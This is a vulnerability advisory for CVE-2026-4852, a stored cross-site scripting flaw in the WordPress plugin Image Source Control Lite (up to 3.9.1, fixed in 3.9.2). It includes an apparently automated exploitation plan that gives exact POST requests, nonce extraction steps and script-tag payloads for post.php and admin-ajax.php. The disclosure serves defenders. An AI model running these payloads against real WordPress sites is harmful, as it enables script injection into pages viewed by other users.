CVE-2026-4852

Image Source Control Lite – Show Image Credits and Captions <= 3.9.1 - Authenticated (Author+) Stored Cross-Site Scripting via 'Image Source' Field

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.9.2
Patched in
1d
Time to patch

Description

The Image Source Control Lite – Show Image Credits and Captions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Image Source' attachment field in all versions up to, and including, 3.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.9.1
PublishedApril 20, 2026
Last updatedApril 20, 2026

What Changed in the Fix

Changes introduced in v3.9.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4852 (Image Source Control Lite) ## 1. Vulnerability Summary The **Image Source Control Lite** plugin (up to 3.9.1) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows users with Author-level permissions and above to provide an "Image…

Show full research plan

Exploitation Research Plan: CVE-2026-4852 (Image Source Control Lite)

1. Vulnerability Summary

The Image Source Control Lite plugin (up to 3.9.1) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows users with Author-level permissions and above to provide an "Image Source" for media attachments. The field isc_image_source is saved to the database without sanitization and subsequently rendered in the frontend without escaping. Specifically, the Image_Source_String::render method explicitly uses an unescaped echo, bypassing security linting.

2. Attack Vector Analysis

  • Authentication: Required (Author or higher).
  • Vulnerable Parameter: attachments[<ID>][isc_image_source] (when using the Media Library AJAX) or isc_image_source (when using the Edit Media post page).
  • Endpoint: wp-admin/post.php (for direct edit) or wp-admin/admin-ajax.php (for Media Library updates).
  • Preconditions: The "Image Sources" module must be enabled (enabled by default). The payload is triggered when the image source is displayed on the frontend, typically via the [isc_list_all] shortcode or the automatically appended source list.

3. Code Flow

  1. Storage:
    • Entry Point: ISC_Model::isc_fields_save (hooked to attachment_fields_to_save).
    • Input: $attachment['isc_image_source'].
    • Logic: Calls save_field($post['ID'], 'isc_image_source', ...) which calls update_post_meta.
    • Vulnerability: No sanitization is applied to the string before storage (unlike the isc_image_source_url field which is sanitized).
  2. Retrieval:
    • ISC\Image_Sources\Renderer\Image_Source_String::get fetches the raw meta value using ISC\Image_Sources\Image_Sources::get_image_source_text_raw.
  3. Rendering (Sink):
    • Sink: ISC\Image_Sources\Renderer\Image_Source_String::render calls echo self::get( $image_id );.
    • Vulnerability: Line 21 in includes/image-sources/renderer/image-source-string.php explicitly ignores escaping: // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped.

4. Nonce Acquisition Strategy

This exploit requires an authenticated Author session. The Author must obtain a WordPress core nonce to update attachment metadata.

  1. Method: Access the "Edit Media" page for a specific attachment.
  2. Steps:
    • Login as Author.
    • Navigate to wp-admin/post.php?post=<ATTACHMENT_ID>&action=edit.
    • Use browser_eval to extract the _wpnonce from the form.
  3. Nonce Action: The standard WordPress action for editing a post/attachment is update-post_<ATTACHMENT_ID>.

5. Exploitation Strategy

Step 1: Upload and Identify

  • Upload an image as an Author.
  • Capture the Attachment ID (e.g., 5).

Step 2: Inject Payload

  • Send a POST request to wp-admin/post.php to update the attachment meta.
  • Request Details:
    • URL: {{base_url}}/wp-admin/post.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body Parameters:
      • action: editpost
      • post_ID: <ATTACHMENT_ID>
      • _wpnonce: <EXTRACTED_NONCE>
      • isc_image_source: <script>alert(document.domain)</script>
      • isc_image_source_own: `` (empty)

Step 3: Trigger Execution

  • View a page that renders image sources. The most reliable way is to create a page with the [isc_list_all] shortcode.
  • Request Details:
    • URL: {{base_url}}/<PAGE_WITH_SHORTCODE>
    • Method: GET

6. Test Data Setup

  1. User: Create a user with the author role.
  2. Image: Upload an image test.jpg via the Author account.
  3. Trigger Page: Create a public page with the following content:
    [isc_list_all]
    
    This shortcode (registered in ISC_Public::register_hooks) invokes \ISC\Image_Sources\Renderer\Global_List::execute_shortcode, which uses the vulnerable renderer.

7. Expected Results

  • The POST request to post.php should return a 302 redirect to the edit page with message=4 (indicating success).
  • The get_post_meta(<ID>, 'isc_image_source', true) call should return the literal <script> string.
  • When navigating to the trigger page, the browser should execute the script, showing an alert box.

8. Verification Steps

  1. Check Database:
    wp post meta get <ATTACHMENT_ID> isc_image_source
    
    Verify it contains the payload.
  2. Verify Frontend Output:
    Use http_request to fetch the trigger page and grep for the raw payload to confirm lack of encoding:
    # Search for the unencoded script tag in the response body
    grep "<script>alert(document.domain)</script>"
    

9. Alternative Approaches

Via Media Grid (AJAX)

If the post.php method is restricted, use the save-attachment AJAX action.

  • Endpoint: wp-admin/admin-ajax.php
  • Payload: action=save-attachment&id=<ID>&_wpnonce=<NONCE>&changes[isc_image_source]=<script>alert(1)</script>
  • Nonce Source: Localized in the Media Library JS object: window._wpPluploadSettings.defaults.multipart_params._wpnonce.

Via Caption Overlay

If the global list is disabled, ensure the "Show caption on images" setting is on. The payload will trigger when viewing the post containing the image, as ISC_Public::add_source_captions_to_content uses the same unescaped renderer.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.